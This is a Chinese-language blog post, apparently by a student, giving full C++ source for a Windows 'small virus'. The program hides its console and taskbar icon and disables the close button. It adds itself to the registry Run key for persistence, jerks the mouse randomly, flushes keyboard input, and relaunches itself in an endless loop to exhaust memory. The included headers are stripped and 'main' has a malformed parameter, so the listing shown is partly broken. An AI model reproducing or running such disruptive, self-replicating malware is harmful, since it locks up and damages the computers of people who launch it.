> 文档中心 > C++小病毒(通用加强版)

C++小病毒(通用加强版)

目录

闲扯一会儿

进入正题

宏、头文件、命名空间

隐藏任务栏图标、禁用关闭键

检查是否第一次打开

提示语、开机启动、保存

提示语

开机启动

保存

开线程

隐藏控制台

抢内存

代码封装

再扯一会儿


闲扯一会儿

嘿嘿嘿!我又来了!

我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:

一道编程题,班上只要有一个同学做出来,全班就可以“解放”。老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。

于是我就开干了。题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。

不到十分钟,我就做出来了。全班欢呼着,那个男同学又把我抱起来。

老师还给了我10积分,真好!接下来就可以自由活动了。

 我上周不是写了一篇文章吗?

C++小病毒(VS版)

我想着那病毒,于是向老师申请开网,老师同意了。

于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。

可出现了以下问题:

1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。

2、提示栏每次都要弹出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。

所以就有了这篇文章。

进入正题

宏、头文件、命名空间

#define _CRT_SECURE_NO_WARNINGS //strcat()所需#include//输入输出#include  //字符串处理#include      //Windows系统#include  //线程#include //_T()等#include //读取与保存using namespace std;     //为了方便

隐藏任务栏图标、禁用关闭键

这个还算简单。

//隐藏任务栏图标HWND hWnd = GetConsoleWindow();SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);//禁用关闭键HMENU hmenu = GetSystemMenu(hWnd, false);RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);LONG style = GetWindowLong(hWnd, GWL_STYLE);style &= ~(WS_MINIMIZEBOX);SetWindowLong(hWnd, GWL_STYLE, style);SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);ShowWindow(hWnd, SW_SHOWNORMAL);DestroyMenu(hmenu);ReleaseDC(hWnd, NULL);

检查是否第一次打开

其实就是打开一个文档,读取内容,再进行一个判断。

int check = 0;fstream in("save.txt");in >> check;in.close();if (check != 1){    //是第一次打开}//不是第一次打开

提示语、开机启动、保存

这部分在判断语句中写。

提示语

cout << "该程序是病毒!后果自负!" << endl;Sleep(3000);

开机启动

见C++小病毒(VS版)

保存

为了让复制的程序知道它不是第一次被打开。

ofstream out("save.txt");out << 1;out.close();

开线程

写一个乱移鼠标的线程函数。

int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);DWORD WINAPI mouse(LPVOID lpParameter){    srand(time(0));    while (1)    { SetCursorPos(rand() % x, rand() % y);    }    return 0L;}DWORD WINAPI key(LPVOID lpParameter){    while (1)    { FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));    }    return 0L;}

在刚刚的判断中写上一句。

HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);CloseHandle(hThread);hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);CloseHandle(hThread);

隐藏控制台

在主函数中写。

hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);if (hWnd){    ShowWindow(hWnd, SW_HIDE);}

抢内存

在主函数中写。

while (1){    char s[100] = "start ";    system(strcat(s, argv[0]));}

代码封装

完整代码见下。

#define _CRT_SECURE_NO_WARNINGS#include#include#include#include#include#includeusing namespace std;int check = 0;int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);DWORD WINAPI mouse(LPVOID lpParameter){    srand(time(0));    while (1)    { SetCursorPos(rand() % x, rand() % y);    }    return 0L;}DWORD WINAPI key(LPVOID lpParameter){    while (1)    { FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));    }    return 0L;}int main(int argc, char argv){    HWND hWnd = GetConsoleWindow();    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);    HMENU hmenu = GetSystemMenu(hWnd, false);    RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);    LONG style = GetWindowLong(hWnd, GWL_STYLE);    style &= ~(WS_MINIMIZEBOX);    SetWindowLong(hWnd, GWL_STYLE, style);    SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);    ShowWindow(hWnd, SW_SHOWNORMAL);    DestroyMenu(hmenu);    ReleaseDC(hWnd, NULL);    fstream in("save.txt");    in >> check;    in.close();    if (check != 1)    { cout << "该程序是病毒!后果自负!" << endl; Sleep(3000); HKEY hKey; if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {     TCHAR strExeFullDir[MAX_PATH];     GetModuleFileName(NULL, strExeFullDir, MAX_PATH);     TCHAR strDir[MAX_PATH] = {};     DWORD nLength = MAX_PATH;     long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);     if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)     {  RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));  RegCloseKey(hKey);     } } HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL); CloseHandle(hThread); hThread = CreateThread(NULL, 0, key, NULL, 0, NULL); CloseHandle(hThread); ofstream out("save.txt"); out << 1; out.close();    }    hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);    if (hWnd)    { ShowWindow(hWnd, SW_HIDE);    }    while (1)    { char s[100] = "start "; system(strcat(s, argv[0]));    }    return 0;}

再扯一会儿

这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码,顺便再加了个线程而已,代码也不算长。

哦,对了,再提一嘴,有虚拟机的帮忙看看。

好像该扯的都扯完了。

算了,早点睡了,拜拜!